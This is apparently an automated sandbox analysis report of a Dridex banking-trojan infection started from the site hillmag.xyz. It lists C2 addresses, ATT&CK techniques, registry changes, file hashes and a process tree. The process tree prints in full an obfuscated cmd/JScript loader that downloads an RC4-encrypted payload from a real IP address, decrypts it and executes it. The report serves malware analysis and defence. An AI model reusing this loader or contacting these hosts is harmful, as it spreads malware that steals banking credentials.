dridex | hxxp://hillmag[.]xyz/

General

Target

http://hillmag.xyz/
Sample

210930-3w5mjaafdj

Score

10^/10

dridex 10111 botnet discovery evasion trojan

Malware Config

Extracted

Family

dridex

Botnet

10111

C2

185.168.130.138:443

79.172.255.198:9676

195.154.108.109:10172

rc4.plain

Signatures

Dridex
Dridex(known as Bugat/Cridex) is a form of malware that specializes in stealing bank credentials.
botnet dridex
Blocklisted process makes network request 1 IoCs

Processes:

wscript.exe

flow pid process

17 1116 wscript.exe
Executes dropped EXE 1 IoCs

Processes:

d5krb.exe

pid process

2936 d5krb.exe
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

d5krb.exe

description ioc process

Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA d5krb.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

flow	pid	process
17	1116	wscript.exe

pid	process
2936	d5krb.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	d5krb.exe

Modifies Internet Explorer settings 1 TTPs 40 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30914134"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$WordPress	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Internet Explorer\FlipAhead\FileVersion = "2016061511"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Internet Explorer\HistoryJournalCertificate\NextUpdateDate = "339827560"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "339810966"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Internet Explorer\HistoryJournalCertificate	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Internet Explorer\FlipAhead	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$http://www.typepad.com/	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "1721350154"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$Discuz!	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Internet Explorer\FlipAhead\NextUpdateDate = "339859552"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "1699161273"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$blogger	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$MediaWiki	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$vBulletin 3	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{907F5CA8-2249-11EC-AF2E-EE29200C20B6} = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "1699161273"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "30914134"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30914134"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$Telligent	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$vBulletin 4	iexplore.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

iexplore.exe

pid process

2428 iexplore.exe
Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

iexplore.exe

pid process

2428 iexplore.exe
Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

iexplore.exeIEXPLORE.EXE

pid process

2428 iexplore.exe
2428 iexplore.exe
2736 IEXPLORE.EXE
2736 IEXPLORE.EXE
2736 IEXPLORE.EXE
2736 IEXPLORE.EXE

pid	process
2428	iexplore.exe

pid	process
2428	iexplore.exe

pid	process
2428	iexplore.exe
2428	iexplore.exe
2736	IEXPLORE.EXE
2736	IEXPLORE.EXE
2736	IEXPLORE.EXE
2736	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

iexplore.exeIEXPLORE.EXEcmd.exewscript.execmd.exe

description	pid	process	target process
PID 2428 wrote to memory of 2736	2428	iexplore.exe	IEXPLORE.EXE
PID 2428 wrote to memory of 2736	2428	iexplore.exe	IEXPLORE.EXE
PID 2428 wrote to memory of 2736	2428	iexplore.exe	IEXPLORE.EXE
PID 2736 wrote to memory of 584	2736	IEXPLORE.EXE	cmd.exe
PID 2736 wrote to memory of 584	2736	IEXPLORE.EXE	cmd.exe
PID 2736 wrote to memory of 584	2736	IEXPLORE.EXE	cmd.exe
PID 584 wrote to memory of 1116	584	cmd.exe	wscript.exe
PID 584 wrote to memory of 1116	584	cmd.exe	wscript.exe
PID 584 wrote to memory of 1116	584	cmd.exe	wscript.exe
PID 1116 wrote to memory of 1216	1116	wscript.exe	cmd.exe
PID 1116 wrote to memory of 1216	1116	wscript.exe	cmd.exe
PID 1116 wrote to memory of 1216	1116	wscript.exe	cmd.exe
PID 1216 wrote to memory of 2936	1216	cmd.exe	d5krb.exe
PID 1216 wrote to memory of 2936	1216	cmd.exe	d5krb.exe
PID 1216 wrote to memory of 2936	1216	cmd.exe	d5krb.exe

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" http://hillmag.xyz/
1⤵
- Modifies Internet Explorer settings
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2428

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2428 CREDAT:82945 /prefetch:2
2⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2736

C:\Windows\SysWOW64\cmd.exe
cmd.exe /q /c cd /d "%tmp%" && echo function O(l){return Math.random().toString(36).slice(-5)};function V(k){var y=Q;y["set"+"Proxy"](n);y.open("GET",k(1),1);y.Option(n)=k(2);y.send();y/*XASX1ASXASS*/["Wait"+"ForResponse"]();if(200==y.status)return _(y.responseText,k(n))};function _(k,e){for(var l=0,n,c=[],F=256-1,S=String,q=[],b=0;256^>b;b++)c[b]=b;for(b=0;256^>b;b++)l=l+c[b]+e["cha"+"rCodeAt"](b%e.length)^&F,n=c[b],c[b]=c[l],c[l]=n;for(var p=l=b=0;p^<k.length;p++)b=b+1^&F,l=l+c[b]^&F,n=c[b],c[b]=c[l],c[l]=n,q.push(S.fromCharCode(k.charCodeAt(p)^^c[c[b]+c[l]^&F]));return q.join("")};try{var u=WScript.Echo(),o="Object",A=Math,a=Function("b","return WScript.Create"+o+"(b)");P=(""+WScript).split(" ")[1],M="indexOf",q=a(P+"ing.FileSystem"+o),m=WScript.Arguments,e="WinHTTP",Z="cmd",Q=a("WinH"+"ttp.WinHttpRequest.5.1"),j=a("W"+P+".Shell"),s=a("ADODB.Stream"),x=O(8)+".",p="exe",n=0,K=WScript[P+"FullName"],E="."+p;Y="Type";s[Y]=2;s.Charset="iso-8859-1";s.Open();try{v=V(m)}catch(W){v=V(m)};d=v.charCodeAt(027+v[M]("PE\x00\x00"));s.WriteText(v);if(32-1^<d){var z=1;x+="dll"}else x+=p;s.savetofile(x,2);s.Close();z^&^&(x="regsvr"+32+E+" /s "+x);j.run(Z+E+" /c "+x,0)}catch(xXASXASSAA){};q.Deletefile(K);>3.tMp && stArt wsCripT //B //E:JScript 3.tMp "hX1ZytEytd" "http://45.138.27.98/?Mzg3NjI=&rpuEpV&dsfdffg43t=6NbP0zYA0SD2I3fz-3ORZzxOWPPk7DPRAOzrl6CelXXpvAkfrsCOwHp2EGILgQznYpZBFlA96n830KHyB-Z0ZaGrhCFUQhN-KLIVLI46A&cxssdvxcv=84ybobs.77zb57.406u6s2j6&sdfsdfdfg=community&ogfgafgn4=w33QMvXcJx7QFYPJKfjcT&fhfghddfsdf=twix&yKPqFawWdMjEwMjU=" "2""
3⤵
- Suspicious use of WriteProcessMemory
PID:584

C:\Windows\SysWOW64\wscript.exe
wsCripT //B //E:JScript 3.tMp "hX1ZytEytd" "http://45.138.27.98/?Mzg3NjI=&rpuEpV&dsfdffg43t=6NbP0zYA0SD2I3fz-3ORZzxOWPPk7DPRAOzrl6CelXXpvAkfrsCOwHp2EGILgQznYpZBFlA96n830KHyB-Z0ZaGrhCFUQhN-KLIVLI46A&cxssdvxcv=84ybobs.77zb57.406u6s2j6&sdfsdfdfg=community&ogfgafgn4=w33QMvXcJx7QFYPJKfjcT&fhfghddfsdf=twix&yKPqFawWdMjEwMjU=" "2""
4⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1116

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c d5krb.exe
5⤵
- Suspicious use of WriteProcessMemory
PID:1216

C:\Users\Admin\AppData\Local\Temp\d5krb.exe
d5krb.exe
6⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:2936

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
MD5
d302a1fb716166b280c2accd4491966e

SHA1
9eff2394f8616a4567f3eb895747ddf81fa68207

SHA256
ce29369602f384184b8fc7be24fa322fe70da4590f73921eada2cf12774a4afc

SHA512
c2b90c30f558518426cd0135a06dfc7d1c986635a9effffa34af80a8adaf566002d17288409b838452510212f774f5b75f2772e4acc20d7b19ad6f99751dc9ea

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C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
MD5
7f2382cbe0c2807fc0f4c359d350836d

SHA1
37d874f1f5a782a383ad9d35c6d97401d63d334e

SHA256
93a1d9c56ce2845275a92d89930f534032bf4ad4b6eb4bada59c7930789b1e7d

SHA512
d437f652e45bc7d9e2a20f38fcbec58624c0d552953a183895a84ba4f2b882173020029f54743f4bebbc75346661896e7a5cc4a76fa19099092bdc0aa9103656

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\JY06HFGL.cookie
MD5
536e62b4a847388ea66c5179a64b9f40

SHA1
123174e3b4fbf2ddc61b5b7e75fdfa5a9718d71d

SHA256
b6023daa49c64846b0284a976e0c88f0381ba13b09458f3fa5794c32ff5a76c6

SHA512
7ec8750178dcdfecac122ee396c55c00a6f512232e7080e889434db4c6ec2ff5abffc2b8c2c0a91aac7409f0b2887c0d1f38bd4c04b70aa2f803f8f4df835b0d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\LPO196OT.cookie
MD5
481274988af7cdcaee286221d6a61b12

SHA1
5dfac1a490127353a5929ecc747b1000f31967db

SHA256
c6310be473aef7d3b06e0c4c2eb3a30e5f7df96b6d07edaaecd2c141c9eb5577

SHA512
fa21fd6171c875a1dfd2ce4f77fce9a3c0dfaa0c6a91680296728fa599090a9cc81ccd0a9dcff0236aab3e86cc4644b306e74952518b2b0a917c8945612c19d8

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C:\Users\Admin\AppData\Local\Temp\3.tMp
MD5
60fc00422b399db85f87d41b8328976d

SHA1
bb85034acad8025f97e5bb236443debaf8926e4b

SHA256
c38eb3965155b143c8d72bf219ec6dd985a106ce0776c272470b0019e74fb690

SHA512
16fa1a3c187500b5c3867fa05752428496273b73c2960c54d2e34e4833a057392c1f5469c8824fdc3d29c9ece2e65189ee281638ccaae941437a259192591151

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C:\Users\Admin\AppData\Local\Temp\d5krb.exe
MD5
f2732682a214f0598ceaf44cc0ed346c

SHA1
e05362dd29050def13a63018583dd55c0cb26709

SHA256
724532730fb3e786ce24b914f31165be171991283bcc5b550c8d4df9da786e1c

SHA512
4061e6510259db25fc08b0c7799668f963f4afb21145840ad34d92b32a064238a2f57b08981c85b0a804f77b4dea7872091705f17f36a2486882a689d3daaab6

Download Submit
C:\Users\Admin\AppData\Local\Temp\d5krb.exe
MD5
f2732682a214f0598ceaf44cc0ed346c

SHA1
e05362dd29050def13a63018583dd55c0cb26709

SHA256
724532730fb3e786ce24b914f31165be171991283bcc5b550c8d4df9da786e1c

SHA512
4061e6510259db25fc08b0c7799668f963f4afb21145840ad34d92b32a064238a2f57b08981c85b0a804f77b4dea7872091705f17f36a2486882a689d3daaab6

Download Submit
memory/584-117-0x0000000000000000-mapping.dmp

Download
memory/1116-118-0x0000000000000000-mapping.dmp

Download
memory/1216-120-0x0000000000000000-mapping.dmp

Download
memory/2428-115-0x00007FF9AC260000-0x00007FF9AC2CB000-memory.dmp

Filesize
428KB

Download
memory/2736-116-0x0000000000000000-mapping.dmp

Download
memory/2936-121-0x0000000000000000-mapping.dmp

Download
memory/2936-124-0x0000000000500000-0x000000000064A000-memory.dmp

Filesize
1.3MB

Download
memory/2936-125-0x0000000000400000-0x00000000004F9000-memory.dmp

Filesize
996KB

Download

Analysis

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